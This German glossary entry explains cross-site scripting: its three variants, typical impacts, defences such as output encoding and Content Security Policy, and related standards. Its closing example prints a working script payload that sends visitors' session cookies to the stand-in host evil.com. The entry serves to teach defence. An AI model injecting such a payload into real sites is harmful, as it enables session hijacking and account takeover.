Cross-Site Scripting (XSS)
Was ist Cross-Site Scripting?
Cross-Site Scripting (XSS) ist eine weitverbreitete Schwachstelle im Bereich der Webanwendungssicherheit, bei der ein Angreifer schädlichen JavaScript-Code in vertrauenswürdige Webseiten einschleust.
Das Ziel: Manipulation des Benutzerverhaltens, Datendiebstahl oder das Umgehen von Sicherheitsmechanismen im Browser.
Technischer Hintergrund & Varianten
Es gibt drei Hauptformen von XSS:
1. Stored XSS (persistentes XSS)
Angreifer speichern bösartigen Code dauerhaft in einer Datenbank (z. B. über ein Kommentarformular). Der Code wird bei jedem Seitenabruf vom Server ausgeliefert und im Browser ausgeführt.
2. Reflected XSS (nicht-persistentes XSS)
Hier wird der Schadcode über die URL an die Anwendung übergeben und direkt an die Antwort zurückgespiegelt – ohne persistenten Speicher. Häufig bei unsicheren Such- oder Login-Funktionen.
3. DOM-based XSS
Der Angriff erfolgt rein clientseitig, z. B. durch unsichere DOM-Manipulation via innerHTML
oder document.write()
– ohne dass der Server beteiligt ist.
Relevanz in der Praxis
XSS zählt zu den OWASP Top 10 seit vielen Jahren und tritt besonders häufig auf bei:
-
Benutzerkommentaren und Feedback-Formularen
-
Content Management Systemen (z. B. WordPress, Joomla)
-
dynamischen Single-Page-Anwendungen (React, Vue, Angular)
Typische Auswirkungen:
-
Diebstahl von Session-Cookies
-
Einbindung von Keyloggern
-
Drive-by-Downloads und Malware-Distribution
-
Umleitung auf Phishingseiten (z. B.
window.location.replace(...)
)
Schutzmaßnahmen
Effektive Gegenmaßnahmen:
-
Konsequentes Output-Encoding (z. B.
htmlspecialchars()
in PHP) -
Einsatz sicherer JavaScript-Frameworks mit Auto-Escaping
-
Content Security Policy (CSP) zur Einschränkung von Skriptquellen
-
Clientseitiges Escaping bei dynamischen DOM-Operationen
-
Validierung von Eingaben (Whitelist-basiert statt Blacklist)
Relevanz für Standards & Richtlinien
-
OWASP Top 10 – A3: Cross-Site Scripting
-
BSI IT-Grundschutz – APP.4.1 Webanwendungen
-
ISO/IEC 27034 – Application Security
-
NIS-2 & DORA: implizite Absicherung der Webinterfaces erforderlich
Verwandte Begriffe
-
Injection
-
CSP (Content Security Policy)
-
DOM Manipulation
-
Input Validation
-
SameSite-Cookie
-
SQL Injection
-
Secure Coding
Beispiel aus der Praxis
Ein öffentliches Forum erlaubte HTML-Tags in Kommentaren. Ein Nutzer platzierte
<script>document.location='http://evil.com?cookie='+document.cookie</script>
.
Jeder Besucher übermittelte unbemerkt seinen Session-Cookie – mehrere Accounts wurden übernommen.